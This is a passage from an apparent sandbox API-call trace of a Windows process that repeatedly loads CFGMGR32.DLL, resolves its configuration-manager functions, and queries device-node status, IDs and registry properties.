GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.764] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.765] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.765] malloc (_Size=0x18) returned 0x20abc281ce0 [0230.765] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x19, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0230.766] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x455092c1, dwHighDateTime=0x1d9eb0c)) [0230.767] SetEvent (hEvent=0x248) returned 1 [0230.817] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.817] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.818] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.819] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.820] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.821] malloc (_Size=0x18) returned 0x20abc281b00 [0230.821] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x19, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0230.821] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4558baec, dwHighDateTime=0x1d9eb0c)) [0230.822] SetEvent (hEvent=0x248) returned 1 [0230.826] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.826] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.830] malloc (_Size=0x18) returned 0x20abc2820e0 [0230.830] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x19, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0230.830] malloc (_Size=0x48) returned 0x20abc27cb20 [0230.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4558baec, dwHighDateTime=0x1d9eb0c)) [0230.831] SetEvent (hEvent=0x248) returned 1 [0230.837] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.837] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.838] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.839] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.840] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.841] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.841] malloc (_Size=0x18) returned 0x20abc281b00 [0230.842] CM_Get_Device_IDA (in: dnDevInst=0x1a, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\COMPOSITEBUS\\0000") returned 0x0 [0230.842] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x455b2207, dwHighDateTime=0x1d9eb0c)) [0230.842] SetEvent (hEvent=0x248) returned 1 [0230.846] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.847] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.847] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.848] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.849] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.850] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.851] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.851] malloc (_Size=0x18) returned 0x20abc281b20 [0230.852] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0230.852] malloc (_Size=0x26) returned 0x20abc2a9c40 [0230.852] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c40, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2a9c40, pulLength=0x2dc22fd3f8) returned 0x0 [0230.853] free (_Block=0x20abc2a9c40) [0230.853] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x455d843f, dwHighDateTime=0x1d9eb0c)) [0230.854] SetEvent (hEvent=0x248) returned 1 [0230.859] malloc (_Size=0x18) returned 0x20abc281fc0 [0230.859] SafeArrayPutElement (psa=0x20abba80610, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0230.859] free (_Block=0x20abc281fc0) [0230.859] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c170 [0230.859] SafeArrayGetDim (psa=0x20abba80610) returned 0x1 [0230.859] SafeArrayGetLBound (in: psa=0x20abba80610, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0230.859] SafeArrayGetUBound (in: psa=0x20abba80610, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0230.859] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79a30 [0230.859] SafeArrayGetDim (psa=0x20abba80610) returned 0x1 [0230.859] SafeArrayGetUBound (in: psa=0x20abba80610, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0230.859] SafeArrayGetElemsize (psa=0x20abba80610) returned 0x8 [0230.860] SafeArrayGetElement (in: psa=0x20abba80610, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0230.860] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abc402080, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0230.861] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79a30) returned 1 [0230.861] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c170) returned 1 [0230.862] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.862] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.911] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.912] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.913] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.914] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.915] malloc (_Size=0x18) returned 0x20abc281be0 [0230.915] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0230.916] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x45670dc8, dwHighDateTime=0x1d9eb0c)) [0230.916] SetEvent (hEvent=0x248) returned 1 [0230.920] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.920] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.920] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.921] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.922] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.923] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.924] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.924] malloc (_Size=0x18) returned 0x20abc281ee0 [0230.924] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.928] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45696f88, dwHighDateTime=0x1d9eb0c)) [0230.929] SetEvent (hEvent=0x248) returned 1 [0230.933] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.933] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0230.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0230.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0230.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0230.933] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0230.934] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0230.935] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0230.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0230.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0230.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0230.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0230.936] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0230.937] malloc (_Size=0x18) returned 0x20abc281da0 [0230.937] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1a, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0230.937] malloc (_Size=0x48) returned 0x20abc27cf80 [0230.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x45696f88, dwHighDateTime=0x1d9eb0c)) [0230.938] SetEvent (hEvent=0x248) returned 1 [0230.970] malloc (_Size=0xd8) returned 0x20abc284e70 [0230.971] LoadLibraryExW 